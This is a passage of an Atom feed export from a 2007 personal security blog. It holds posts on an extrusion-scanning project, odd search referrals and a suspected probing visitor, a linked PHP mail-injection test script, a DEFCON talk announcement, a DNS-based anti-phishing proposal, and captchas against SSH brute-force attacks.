id="SPELLING_ERROR_9"&gt;exploitability&lt;/span&gt; scanning attempts to find these gaps using an automated scanning framework. The scanning techniques simulate user and attacker behavior from the client perspective to holistically measure the amount of risk in a given security system.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-8779073936080163093?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/8779073936080163093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=8779073936080163093' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/8779073936080163093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/8779073936080163093'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/07/almost-ready-for-eescan.html' title='Almost ready for eescan'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-3386617309957476938</id><published>2007-07-10T09:33:00.000-04:00</published><updated>2007-07-10T09:36:35.415-04:00</updated><title type='text'>Downtime for eescan on 7/10/07</title><content type='html'>During the day today I'll be taking down mullingsecurity.com and for some upgrades to prepare for eescan.  The upgrade will consist of an upgrade of the OS, bigger disk and some additional IP addresses.&lt;br /&gt;&lt;br /&gt;The extra IP addresses are needed so that I have clean IP's available for eescan to use for egress and extrusion scanning.  The extra disk space won't hurt either.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-3386617309957476938?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/3386617309957476938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=3386617309957476938' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/3386617309957476938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/3386617309957476938'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/07/downtime-for-eescan-on-71007.html' title='Downtime for eescan on 7/10/07'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-9082094640629902725</id><published>2007-07-09T11:01:00.000-04:00</published><updated>2007-07-09T11:23:53.138-04:00</updated><title type='text'>Did Google send you?</title><content type='html'>I find it fascinating how people arrive at a lowly blog with very little traffic.  The short answer is that most visitors arrive via search terms.&lt;br /&gt;&lt;br /&gt;Some of the search terms are predictable based on past blog entries.  By far the most popular search engine queries leading to www.mullingsecurity.com are variations of the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;q=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;ddabx&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;dll&lt;/span&gt; (interesting since the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;malware&lt;/span&gt; is 2+ years old)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;q=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;php&lt;/span&gt;+mail+injection (a classic still in use by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;spammers&lt;/span&gt; and yes they come here for tips)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;q=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;omfg&lt;/span&gt;.class (a really old java exploit)&lt;/li&gt;&lt;/ul&gt;And then there are the really interesting queries that lead here.!&lt;br /&gt;&lt;ul&gt;&lt;li&gt;http://search.live.com/result.aspx?q=adult&lt;/li&gt;&lt;li&gt;http://search.live.com/result.aspx?q=mercedes&lt;/li&gt;&lt;li&gt;http://search.live.com/results.aspx?q=DOOR+BADGE+SECURITY&lt;/li&gt;&lt;li&gt;http://search.msn.com/results.aspx?q=door+security+posts&lt;/li&gt;&lt;li&gt;http://www.google.com.au/search?q=what+ports+do+i+need+to+open+on+firewall+for+stunnel&lt;/li&gt;&lt;li&gt;http://www.google.com/search?q=+Matt+Richard+security&lt;/li&gt;&lt;li&gt;http://www.google.com/search?q=gmail+body+location+bar&lt;/li&gt;&lt;li&gt;http://www.google.com/search?q=%2B%22card+cvv2%22+%2Bphishing&lt;/li&gt;&lt;li&gt;http://www.google.com/search?q=howto+remote+exploit+127.0.0.1&lt;/li&gt;&lt;li&gt;http://www.google.com/search?q=squid+botnet+domain&lt;/li&gt;&lt;/ul&gt;I conclude the following:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;MSN&lt;/span&gt; Live search really sucks.&lt;/li&gt;&lt;li&gt;There are people exploiting &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;localhost&lt;/span&gt; remotely.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Having random security words on the same page gets you hits from Google.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-9082094640629902725?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/9082094640629902725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=9082094640629902725' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/9082094640629902725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/9082094640629902725'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/07/did-google-send-you.html' title='Did Google send you?'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-6719238598031183410</id><published>2007-07-09T10:52:00.000-04:00</published><updated>2007-07-10T12:42:02.175-04:00</updated><title type='text'>PHP Mail Injection Testing Script</title><content type='html'>Here is a sample Perl script to test for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;PHP&lt;/span&gt; mail injection.  The code has some documentation and might be usable if you already know how to hack foreign &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;perl&lt;/span&gt; scripts. :)&lt;br /&gt;&lt;br /&gt;Most people try to test using GET requests which will fail every time since the browser and web server don't like processing the needed &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;cr&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;lf's&lt;/span&gt; correctly.  The script makes a post request to the server using 3 command line arguments.  It won't work as is since you will need to modify for the target scripts form parameters.&lt;br /&gt;&lt;br /&gt;I think I wrote this in February 2006 while helping a &lt;a href="http://www.mnin.org/"&gt;friend&lt;/a&gt; secure his contact form against &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;php&lt;/span&gt; mail injection bugs.&lt;br /&gt;&lt;br /&gt;Enjoy!  &lt;a href="http://www.mnin.org/"&gt;&lt;/a&gt;&lt;a href="http://www.opensecnet.com/php_inject_sample.pl.txt"&gt;http://www.opensecnet.com/php_inject_sample.pl.txt&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-6719238598031183410?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/6719238598031183410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=6719238598031183410' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6719238598031183410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6719238598031183410'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/07/php-mail-injection-testing-script.html' title='PHP Mail Injection Testing Script'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-6979119755204773317</id><published>2007-07-09T10:11:00.000-04:00</published><updated>2007-07-09T10:14:22.444-04:00</updated><title type='text'>Extrusion and Exploitability Scanning accepted for DEFCON 15</title><content type='html'>I'll be presenting my latest research on extrusion and exploitability scanning at DEFCON 15 this year.  You can find presentation info and bio at http://www.defcon.org/html/defcon-15/dc-15-speakers.html#Richard.&lt;br /&gt;&lt;br /&gt;The presentation is at 12:00pm on Sunday - check the DEFCON official site for more info.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-6979119755204773317?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/6979119755204773317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=6979119755204773317' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6979119755204773317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6979119755204773317'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/07/extrusion-and-exploitability-scanning.html' title='Extrusion and Exploitability Scanning accepted for DEFCON 15'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-5471446610307924119</id><published>2007-06-15T13:11:00.000-04:00</published><updated>2007-06-15T13:17:30.281-04:00</updated><title type='text'>The Greek strikes back</title><content type='html'>I'm sure my site will be &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;DDoS'd&lt;/span&gt; soon by the same person that searched for "remote exploit 127.0.0.1" yesterday.  It seems they decided to do some follow up research on my site after yesterdays post.&lt;br /&gt;&lt;br /&gt;From &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;today's&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;apache&lt;/span&gt; logs I have a number of hits from a Greek Internet cafe address 87.101.90.49 using a web crawling tool with the user-agent set to "Windows 98".  Very interesting given that the amount of "random" traffic I get from Greece is near zero. &lt;br /&gt;&lt;br /&gt;Of course I guess I could just set www to 127.0.0.1 and take care of that problem. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-5471446610307924119?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/5471446610307924119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=5471446610307924119' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/5471446610307924119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/5471446610307924119'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/06/greek-strikes-back.html' title='The Greek strikes back'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-6005069526875326941</id><published>2007-06-14T10:35:00.000-04:00</published><updated>2007-06-14T10:37:23.622-04:00</updated><title type='text'>The bad LUPH pun</title><content type='html'>Apparently my pun with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;LUPH&lt;/span&gt; was a bit to subtle.  The posting discusses the "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Login&lt;/span&gt; URL Policy Framework" aka &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;LUPF&lt;/span&gt; but instead I chose the acronym &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;LUPH&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;The "PH" was intended as a pun on the tendency to use "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;ph&lt;/span&gt;" for everything related to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;phishing&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-6005069526875326941?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/6005069526875326941/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=6005069526875326941' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6005069526875326941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/6005069526875326941'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/06/bad-luph-pun.html' title='The bad LUPH pun'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-895747330802181599</id><published>2007-06-14T10:27:00.000-04:00</published><updated>2007-06-14T10:34:53.983-04:00</updated><title type='text'>Attackers do lots of homework</title><content type='html'>From yesterdays &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;apache&lt;/span&gt; logs.  Look at the search term "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;howto&lt;/span&gt; remote exploit 127.0.01".  Even better the search came from a host named smarsmtp02.cosmote.gr.  Interesting....&lt;br /&gt;&lt;br /&gt;Wonder how many pages this guy visited?  For the record &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;mullingsecurity&lt;/span&gt;.com is hit #14 in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;google&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;195.167.65.19 - - [13/Jun/2007:07:21:46 -0400]&lt;br /&gt;"GET /2006/01/&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"  style="font-size:78%;"&gt;howto&lt;/span&gt;&lt;span style="font-size:78%;"&gt;-getting-remote-access-to-windows.html HTTP/1.0" 200 20478 "http://www.google.com/search?q=howto+remote+exploit+127.0.0.1&amp;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"  style="font-size:78%;"&gt;rls&lt;/span&gt;&lt;span style="font-size:78%;"&gt;=com.&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"  style="font-size:78%;"&gt;microsoft&lt;/span&gt;&lt;span style="font-size:78%;"&gt;:&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"  style="font-size:78%;"&gt;el&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&amp;amp;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"  style="font-size:78%;"&gt;ie&lt;/span&gt;&lt;span style="font-size:78%;"&gt;=&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"  style="font-size:78%;"&gt;UTF&lt;/span&gt;&lt;span style="font-size:78%;"&gt;-8&amp;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"  style="font-size:78%;"&gt;oe&lt;/span&gt;&lt;span style="font-size:78%;"&gt;=&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"  style="font-size:78%;"&gt;UTF&lt;/span&gt;&lt;span style="font-size:78%;"&gt;-8&amp;amp;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"  style="font-size:78%;"&gt;startIndex&lt;/span&gt;&lt;span style="font-size:78%;"&gt;=&amp;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"  style="font-size:78%;"&gt;startPage&lt;/span&gt;&lt;span style="font-size:78%;"&gt;=1"&lt;br /&gt;"Mozilla/4.0 (compatible; &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"  style="font-size:78%;"&gt;MSIE&lt;/span&gt;&lt;span style="font-size:78%;"&gt; 7.0; Windows NT 5.1; .NET &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"  style="font-size:78%;"&gt;CLR&lt;/span&gt;&lt;span style="font-size:78%;"&gt; 1.1.4322)"&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-895747330802181599?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/895747330802181599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=895747330802181599' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/895747330802181599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/895747330802181599'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/06/attackers-do-lots-of-homework.html' title='Attackers do lots of homework'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-8810851280615696674</id><published>2007-05-07T21:59:00.000-04:00</published><updated>2007-05-07T22:35:44.283-04:00</updated><title type='text'>LUPH - The Login URL Policy Framework</title><content type='html'>Is there a better way to fight &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;phishing&lt;/span&gt; attacks?  A method that allows banks and brands to protect themselves by specifying the correct place for users to enter credentials?  Perhaps we could dream up an interoperable means of sharing and updating this information from brand owner to consumer quickly, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;efficiently&lt;/span&gt; and using technology that we already have?&lt;br /&gt;&lt;br /&gt;If this sounds interesting read on for my proposal - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;LUPH&lt;/span&gt;.  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Login&lt;/span&gt; URL Policy Framework.&lt;br /&gt;&lt;br /&gt;There are a lot of somewhat effective methods for blocking &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;phishing&lt;/span&gt; attacks.  You've got your browser &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;plugins&lt;/span&gt; from Microsoft, Mozilla.org and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Netcraft&lt;/span&gt;.  You also have volunteer tracking and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;takedown&lt;/span&gt; teams like &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;PIRT&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;PhishTank&lt;/span&gt;.  There are numerous other anti-virus, anti-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;spyware&lt;/span&gt; and research companies also trying to solve the problem.  Recently there have even been proposals to create new &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;TLD's&lt;/span&gt; just for banks to allow them "exclusive" rights to these &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;urls&lt;/span&gt; and eliminate consumer confusion.&lt;br /&gt;&lt;br /&gt;I think that the problem is that we're not asking the right people to fix the problem.  The only party that has the requisite knowledge to tell a browsing consumer if they are entering their &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;username&lt;/span&gt; and password into the right online form is the bank.  Why don't we just ask them what &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;login&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;urls&lt;/span&gt; should be allowed for a "brand" and then validate for the browsing consumer that they are on the right page?&lt;br /&gt;&lt;br /&gt;This same problem was, and to a large degree still is, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_16"&gt;prevalent&lt;/span&gt; in the SMTP email system.  Nobody knows what hosts should really be allowed to send mail on behalf of any given domain.  This makes it nearly impossible to block messages fraudulently claiming to be from a legitimate source.&lt;br /&gt;&lt;br /&gt;How did we try to solve the problem of forged emails?  SPF - Sender Policy Framework.  In SPF we ask every domain to specify the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;IP&lt;/span&gt; addresses from which we should allow mail from their domain to be sent.  In theory if you receive a piece of mail from a server that is not authorized through SPF it should be rejected outright.  In effect this solves the problem of forged email addresses right?  Wrong.&lt;br /&gt;&lt;br /&gt;In practice SPF has a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;medicore&lt;/span&gt; adoption rate and an even lower block rate.  It's too much hassle for most domain owners without any real return on the small investment.&lt;br /&gt;&lt;br /&gt;Now let's see how we can make this same concept successful to fight &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;phishing&lt;/span&gt;.   What was &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;DNS&lt;/span&gt; made for?  Acting as a distributed database for &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_21"&gt;arbitrary&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;ascii&lt;/span&gt; data of course.  Don't believe me, check out RFC 1464 http://www.ietf.org/rfc/rfc1464.txt.&lt;br /&gt;&lt;br /&gt;So applying this to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;phishing&lt;/span&gt; - we ask every brand owner that would like to be protected against &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;phishing&lt;/span&gt; to create a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;txt&lt;/span&gt; record in their &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;DNS&lt;/span&gt; zone containing the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;urls&lt;/span&gt; or &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;url&lt;/span&gt; stubs that users should use to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;login&lt;/span&gt; to their services.  Next we create browser &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;plugins&lt;/span&gt; that do perform a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;DNS&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;lookup&lt;/span&gt; every time a user wants to submit &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;login&lt;/span&gt; information and check the domain against the valid &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;urls&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;Now the clever reader might be asking what happens if the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;phisher&lt;/span&gt; simply registers a domain like &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;paypalisus&lt;/span&gt;.com and then creates the correct &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;LUPH&lt;/span&gt; records for that domain?  Wouldn't the proposed system allow the user to submit credentials to that site?  Of course and that's where the secret sauce comes in.&lt;br /&gt;&lt;br /&gt;The secret sauce lies in one additional step that the browser would need to enforce.  The user would need to identify the brand that they think they are submitting their credentials to.  This could be as simple as a list of possible legitimate domain matches based on page content to a pop-up box that would require the user to enter the domain that they think they are on.  Once the browser knows where the user **thinks** the credentials are being submitted it can then perform the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;DNS&lt;/span&gt; check to validate the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;url&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Obviously there are a lot of hurdles that would need to be cleared to make this a viable system.  My thinking is that this is a relatively simple, inexpensive and scalable solution that does not require an entirely new infrastructure to support.&lt;br /&gt;&lt;br /&gt;Maybe this is the kind of idea that seems really good after you've been awake for 24 hours but turns out to . :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-8810851280615696674?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/8810851280615696674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=8810851280615696674' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/8810851280615696674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/8810851280615696674'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2007/05/luph-login-url-policy-framework.html' title='LUPH - The Login URL Policy Framework'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-115803323934211732</id><published>2006-09-11T23:51:00.000-04:00</published><updated>2006-12-11T10:17:46.576-05:00</updated><title type='text'>Is this thing on?</title><content type='html'>It's been a while since the last post.  Life has been a bit busy with a new baby and a two year old but I haven't fallen asleep.&lt;br /&gt;&lt;br /&gt;Check back soon for thoughts on security, virtualization, toddler hackers and the HoneyHuman project.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-115803323934211732?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/115803323934211732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=115803323934211732' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/115803323934211732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/115803323934211732'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/09/is-this-thing-on.html' title='Is this thing on?'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19455371.post-114237284995713292</id><published>2006-03-14T16:06:00.000-05:00</published><updated>2006-03-14T16:47:30.016-05:00</updated><title type='text'>Captchas to defeat SSH brute force attacks</title><content type='html'>In between the 6,000 ssh brute force attacks I receive everyday I try to come up with some clever countermeasure.  It's just a passing obsession since I use key based authentication but it still nags at me.&lt;br /&gt;&lt;br /&gt;I had a conversation with a friend from RIT who mentioned that during a security competition one of his colleagues had used captchas to defeat ssh brute force attacks.  As soon as I heard this suggestion I knew it was what I wanted.&lt;br /&gt;&lt;br /&gt;1 Google search and 10 minutes later I found the project he had referred to.  It's a little rough on the edges but it implements several interesting captcha techniques in a pam module called pam_captcha.&lt;br /&gt;&lt;br /&gt;You can find the project at http://www.csh.rit.edu/~psionic/projects/pam_captcha/.&lt;br /&gt;&lt;br /&gt;Basically it works like this - you attempt to login via ssh and are 